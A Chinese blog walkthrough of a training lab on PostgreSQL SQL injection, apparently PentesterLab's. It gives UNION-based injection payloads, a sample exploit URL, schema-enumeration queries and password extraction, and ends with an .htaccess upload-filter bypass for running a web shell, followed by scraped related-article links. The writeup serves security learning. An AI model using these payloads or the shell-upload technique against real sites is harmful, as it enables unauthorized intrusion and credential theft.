[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%。
上图为ITPUB社区开源数据库使用状况调查
探测SQL注入
本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。
这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。
这关的错误代码发生了变化
利用SQL注入
攻击方法还是用UNION和ORDER BY两种
- SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
- SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。
再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下
检索信息
从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。
- 1 UNION SELECT 'aaaa',null,null,null
结果没有报错
我们再尝试下面几种情况
- 1 UNION SELECT 'aaaa',null,null,null
- 1 UNION SELECT null,'aaaa',null,null
- 1 union select null,null,'aaaa',null
- 1 union select null,null,null,'aaaa'
发现第2和3 个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现'aaaa'存在于<img中,这可以猜出第3字段应该是与图片的文件名。
我们采用第2个进行构建语句,查询version(),current_user,current_database()
我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()
这是因为上一关的数据库是MYSQL。
http://www.vulnerable.com/cat.php?id=1%20union%20select%20null,version%28%29,null,null
接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询
查询表名:SELECT tablename FROM pg_tables
查询所有字段:
SELECT column_name FROM information_schema.columns
结合到实例中:
- 1 UNION SELECT null,tablename,null,null FROM pg_tables
- 1 UNION SELECT null,column_name,null,null FROM information_schema.columns
同时取得字段和对应的表名
- 1 UNION SELECT null, table_name, column_name,null,null FROM information_schema.columns
- 1 UNION SELECT null,table_name||':'|| column_name,null,null FROM information_schema.columns.
上一关是用contact函数,而这个数据库不能用。
从结果中找到用户表USERS和它的字段
查出密码再解密还原。
登陆账号,注入文件
这里开始是本关的难点。
上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。
这次要引入 .htaccess文件
这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科
htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。
特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。
再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。
[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION的更多相关文章
- PentesterLab-From SQL Injection to Shell: PostgreSQL edition
一.打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入 由于PostgreSQL与MySQL不同,几个关注点需要注意下 二.order by下 ...
- [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...
- 读书笔记之SQL注入漏洞和SQL调优
原文:读书笔记之SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“' ...
- SQL注入漏洞和SQL调优SQL注入漏洞和SQL调优
SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这 ...
- 【sql注入教程】SQL注入是什么?我们如何去玩转它
[sql注入教程]SQL注入是什么?我们如何去玩转它 本文转自:i春秋社区 SQL注入攻击是黑客攻击数据库最常见手段之一.简单讲,SQL注入攻击是黑客利用网站程序漏洞,通过提交精心构造的SQL语句 ...
- [SQL注入1]From SQL injection to Shell
第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...
- sqli-labs(八)——修改密码处sql注入+http头sql注入
第17关: 这是一个重置密码的功能存在sqk注入,尝试账号密码都输入'",发现只会显示登陆失败,没有报错信息. 这个时候先推测一下后台的sql形式大概应该是: update users se ...
- sql注入和防sql注入
sql注入: from pymysql import * def main(): # 创建连接 conn = connect(host="127.0.0.1", port=3306 ...
- PHP:测试SQL注入以及防止SQL注入
在写登录注册的时候发现了SQL和JS注入这个危害网站的用户举动: 测试方法: SQL注入: 先来做一个测试: 用户名:’ or 1 # 密码:随便写8位以上 验证码:写正确 好吧,就那么简单就进去了: ...
随机推荐
- 用javascript向一个网页连接接口发送请求,并接收该接口返回的json串
一般前端与后端的互交都是通过json字符串来互交的,我的理解就是与网页接口的来回数据传递采用的数据结构就是json.一般是这样. 比如后端的代码是这样的: @RequestMapping(value ...
- 8.2.1.4 Index Merge Optimization 索引合并优化:
8.2.1.4 Index Merge Optimization 索引合并优化: 索引合并方法是用于检索记录 使用多个 范围扫描和合并它们的结果集到一起 mysql> show index fr ...
- IIS 403.14 - Forbidden错误解决方法
HTTP 错误 403.14 - ForbiddenWeb 服务器被配置为不列出此目录的内容. 解决方法如下: 打开IIS的”处理程序映射设置“,在右边的操作栏下有 ”添加脚本映射“请求路径:*可执行 ...
- Linux安装配置php
1.获取安装文件: http://www.php.net/downloads.php php-5.3.8.tar.gz 获取安装php需要的支持文件:http://download.csdn.net ...
- Android 使用ViewPager实现左右循环滑动图片
ViewPager这个小demo实现的是可以左右循环滑动图片,下面带索引,滑到最后一页在往右滑动就要第一页,第一页往左滑动就到最后一页,先上效果图,用美女图片是我一贯的作风,呵呵 1. 首先看一 ...
- php实现文件夹下的文件读取功能
<?php //这里实现 某个文件下的全部图片,并列出来! header("Content-type:text/html;charset=utf8"); $handle= ...
- CentOS6.x升级MySQL版本号5.1到5.6
有一些虚拟机.云主机提供商仍然使用的是老版本号的安装套件. 预装的应用软件版本号非常低. 比方 techbrood.com 使用的云server,当中MySQL预装版本号为老版本号5.1.x. 而最新 ...
- Mysql数据库的mysql Schema 究竟有哪些东西& 手工注入的基础要领
#查看数据库版本号 mysql> select @@version; +------------+ | @@version | +------------+ | 5.5.16-log | +- ...
- android常用软件下载资源链接
最新内容请看:http://www.androiddevtools.cn/ https://github.com/inferjay/AndroidDevTools 官方adt下载地址:http://d ...
- passwd-shadow文件
[root@rusky /]# vi /etc/passwd root:x:::Redhat5:/root:/bin/bash rusky:x::::/home/rusky:/bin/bash 1.r ...